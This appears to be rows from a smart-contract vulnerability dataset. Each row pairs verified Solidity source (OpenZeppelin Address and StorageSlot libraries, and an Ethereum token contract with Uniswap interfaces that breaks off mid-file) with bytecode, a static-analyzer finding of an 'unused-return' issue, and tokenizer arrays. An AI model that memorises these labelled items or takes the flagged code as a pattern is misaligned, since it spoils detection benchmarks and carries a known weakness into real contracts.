* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
| 0x60806040526004361061007f5760003560e01c80638456cb591161004e5780638456cb591461011f5780638f28397014610136578063b187bd261461015f578063f851a4401461018a5761008e565b80633659cfe6146100985780633f4ba83a146100c15780634f1ef286146100d85780635c60da1b146100f45761008e565b3661008e5761008c6101b5565b005b6100966101b5565b005b3480156100a457600080fd5b506100bf60048036038101906100ba9190610a7c565b6101cf565b005b3480156100cd57600080fd5b506100d6610236565b005b6100f260048036038101906100ed9190610aa9565b6102c9565b005b34801561010057600080fd5b50610109610367565b6040516101169190610c11565b60405180910390f35b34801561012b57600080fd5b506101346103bf565b005b34801561014257600080fd5b5061015d60048036038101906101589190610a7c565b610452565b005b34801561016b57600080fd5b506101746104a7565b6040516101819190610c55565b60405180910390f35b34801561019657600080fd5b5061019f6104eb565b6040516101ac9190610c11565b60405180910390f35b6101bd61058d565b6101cd6101c861058f565b61059e565b565b6101d76105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561022a576102258160405180602001604052806000815250600061061b565b610233565b6102326101b5565b5b50565b61023e6105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102be57600061029f7f8dea8703c3cf94703383ce38a9c894669dccd4ca8e65ddb43267aa024871145060001b610647565b60000160006101000a81548160ff0219169083151502179055506102c7565b6102c66101b5565b5b565b6102d16105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610359576103548383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050600161061b565b610362565b6103616101b5565b5b505050565b60006103716105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103b3576103ac61058f565b90506103bc565b6103bb6101b5565b5b90565b6103c76105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156104475760016104287f8dea8703c3cf94703383ce38a9c894669dccd4ca8e65ddb43267aa024871145060001b610647565b60000160006101000a81548160ff021916908315150217905550610450565b61044f6101b5565b5b565b61045a6105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561049b5761049681610651565b6104a4565b6104a36101b5565b5b50565b60006104d57f8dea8703c3cf94703383ce38a9c894669dccd4ca8e65ddb43267aa024871145060001b610647565b60000160009054906101000a900460ff16905090565b60006104f56105c4565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610537576105306105c4565b9050610540565b61053f6101b5565b5b90565b60606105688383604051806060016040528060278152602001610ec46027913961069d565b905092915050565b6000819050919050565b600080823b905060008111915050919050565b565b600061059961076a565b905090565b3660008037600080366000845af43d6000803e80600081146105bf573d6000f35b3d6000fd5b60006105f27fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b610570565b60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610624836107c1565b6000825111806106315750805b15610642576106408383610543565b505b505050565b6000819050919050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61067a6105c4565b82604051610689929190610c2c565b60405180910390a161069a81610810565b50565b60606106a88461057a565b6106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90610cd2565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff168560405161070f9190610bfa565b600060405180830381855af49150503d806000811461074a576040519150601f19603f3d011682016040523d82523d6000602084013e61074f565b606091505b509150915061075f8282866108f1565b925050509392505050565b60006107987f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b610570565b60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107ca81610958565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610880576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087790610c92565b60405180910390fd5b806108ad7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b610570565b60000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060831561090157829050610951565b6000835111156109145782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109489190610c70565b60405180910390fd5b9392505050565b6109618161057a565b6109a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099790610cb2565b60405180910390fd5b806109cd7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b610570565b60000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081359050610a2081610eac565b92915050565b60008083601f840112610a3c57610a3b610d9a565b5b8235905067ffffffffffffffff811115610a5957610a58610d95565b5b602083019150836001820283011115610a7557610a74610d9f565b5b9250929050565b600060208284031215610a9257610a91610da9565b5b6000610aa084828501610a11565b91505092915050565b600080600060408486031215610ac257610ac1610da9565b5b6000610ad086828701610a11565b935050602084013567ffffffffffffffff811115610af157610af0610da4565b5b610afd86828701610a26565b92509250509250925092565b610b1281610d24565b82525050565b610b2181610d36565b82525050565b6000610b3282610cf2565b610b3c8185610d08565b9350610b4c818560208601610d62565b80840191505092915050565b6000610b6382610cfd565b610b6d8185610d13565b9350610b7d818560208601610d62565b610b8681610dae565b840191505092915050565b6000610b9e602683610d13565b9150610ba982610dbf565b604082019050919050565b6000610bc1602d83610d13565b9150610bcc82610e0e565b604082019050919050565b6000610be4602683610d13565b9150610bef82610e5d565b604082019050919050565b6000610c068284610b27565b915081905092915050565b6000602082019050610c266000830184610b09565b92915050565b6000604082019050610c416000830185610b09565b610c4e6020830184610b09565b9392505050565b6000602082019050610c6a6000830184610b18565b92915050565b60006020820190508181036000830152610c8a8184610b58565b905092915050565b60006020820190508181036000830152610cab81610b91565b9050919050565b60006020820190508181036000830152610ccb81610bb4565b9050919050565b60006020820190508181036000830152610ceb81610bd7565b9050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610d2f82610d42565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60005b83811015610d80578082015181840152602081019050610d65565b83811115610d8f576000848401525b50505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f455243313936373a206e65772061646d696e20697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60008201527f6f74206120636f6e747261637400000000000000000000000000000000000000602082015250565b7f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60008201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b610eb581610d24565b8114610ec057600080fd5b5056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122073c96c3db6dcbc374cc37ce17b0ea74b22ad30b926c78d62f9b8801a4992b8ba64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
4402,
2629,
2546,
16048,
2094,
2575,
19797,
21057,
2063,
20842,
2063,
2581,
23499,
17788,
11387,
2487,
2497,
2683,
29097,
22932,
16932,
2683,
2063,
15136,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1035,
1013,
1013,
1013,
1032,
1035,
1035,
1035,
1032,
1013,
1032,
1027,
1027,
1032,
1013,
1032,
1035,
1035,
1011,
1012,
1013,
1013,
1032,
1013,
1035,
1013,
1032,
1032,
1013,
1032,
1032,
1035,
1035,
1026,
1032,
1032,
1032,
1013,
1032,
1032,
1013,
1013,
1032,
1032,
1035,
1032,
1032,
1032,
1035,
1035,
1035,
1035,
1035,
1032,
1032,
1032,
1035,
1035,
1035,
1035,
1011,
1013,
1013,
1032,
1013,
1035,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,460 | 0x952f1ab372428fbc32db55f9c5748b1393bcbbde | /**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
